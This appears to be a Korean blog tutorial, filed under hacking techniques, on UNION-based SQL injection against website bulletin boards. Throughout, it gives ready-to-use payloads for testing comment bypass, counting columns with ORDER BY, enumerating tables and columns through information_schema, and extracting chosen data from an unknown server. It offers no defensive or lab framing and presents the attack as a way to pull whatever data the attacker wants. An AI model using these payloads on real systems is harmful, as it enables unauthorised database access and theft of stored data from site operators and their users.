해킹기법
[sql injection, DB 해킹] UNION 인젝션 및 table 정보 알아내고 내가 원하는 정보 추출
2022.02.08
758
청일TV

유니온을 사용하기 전에 칼럼 갯수를 알필요가 있다.

그 전에 주석이 먹히는가도 알 필요가 있다.


게시판 등에 ' or 1=1 or ' 등의 쿼리가 먹혔다면 ' or 1=1 # , ' or 1=1 -- 을 날려보고 먹혀야지 UNION을 사용할 수 있다.


#, -- 등 주석이 먹혔다면 다음은 컬럼 갯수를 알아낼 필요가 있다

UNION에는 SELECT * 이 안먹힌다!


ORDER BY 를 사용한다.


' or 1=1 ORDER BY 1 #

찍어보자.


잘 나올것이다.


이제 order by 를 이용해서 총갯수를 알아내야 한다.


' or 1=1 ORDER BY 100 #


결과값이 안나올것이다. 컬럼이 100개나 될리가...

만약 나온다면

' or 1=1 ORDER BY 200#, ' or 1=1 ORDER BY 300 # 등 안나올때까지 찍는다.


아무튼 100개에서 안나왔다고 치면


' or 1=1 ORDER BY 50 # 

찍어보고나오면 

' or 1=1 ORDER BY 70 #

' or 1=1 ORDER BY 85 #

이러다 안나오면 다시 낮춰서

' or 1=1 ORDER BY 80 #


등 술게임 '업다운' 처럼 숫자를 맞춰서 칼럼수를 찾아낸다.


그렇게 알아낸 컬럼이 예를 들어 10개라면
(' or 1=1 ORDER BY 11# 에서 오류가 나고 ' or 1=1 ORDER BY 10 # 에서는 결과가 잘나오는 경우에 컬럼갯수가 10개이다.)


' or 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 #


을 찍어본다.


테이블 결과가 너무 많다면


x34g' and 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 # 

이런 쓸데없는 나오지 않을것 같은 문구를 추가해 주고 검색한다.


그러면 테이블에


---------------------------

번호 제목 이름 날짜

  1.      5      2    1 

  2.      5      2     1

---------------------------

이런식으로 나올거다.

여기에  제목, 이름, 날짜에 나온 5,2,1은 다음을 의미한다.


' or 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 #


즉 내가 뽑고 싶은 내용은 1번,2번, 5번자리에 넣으면 나온다는 이야기이다.


하지만 난 아직 이 서버의 테이블과 칼럼 정보를 알지 못한다.


그것을 알아내야 한다.

union select 1,2,3,4,column_name,table_name,7,8,9,10 from information_schema.columns

유니온으로 쓰자면 이렇게 된다.

그러면 완성형은 아래이다.


' or 1=1 union select 1,2,3,4,column_name,table_name,7,8,9,10 from information_schema.columns


위 문을 날리면 결과는 아래 처럼 나올것이다.



---------------------------

번호       제목        이름             날짜

  1.      칼럼명1      테이블이름1    1 

  2.      칼럼명2      테이블이름1    1

---------------------------


이제끝이다.

내가 뽑고 싶은 정보를  아래와 같이 넣으면 내가 원하는 결과가 나올것이다.

' or 1=1 union select 1,2,3,4,칼럼명1,칼럼명2,7,8,9,10 from 테이블이름1



나중에 유튜브 방송으로 자세히 알려주겠다.



PS. 너무 많이 나와서 DB가 뻗거나 보기 힘들다면?


' or 1=1 union select 1,2,3,4,3,table_name,7,8,9,10 from information_schema.tables


로 테이블 명만 알아낸 다음에


' or 1=1 union select 1,2,3,4,3,column_name,7,8,9,10 from information_schema.columns where table_name = '테이블이름'


이렇게 테이블과 칼럼명을 뽑을수도 있다



댓글작성
ⓒ 청일TV

이용약관개인정보 취급방침 에 동의합니다.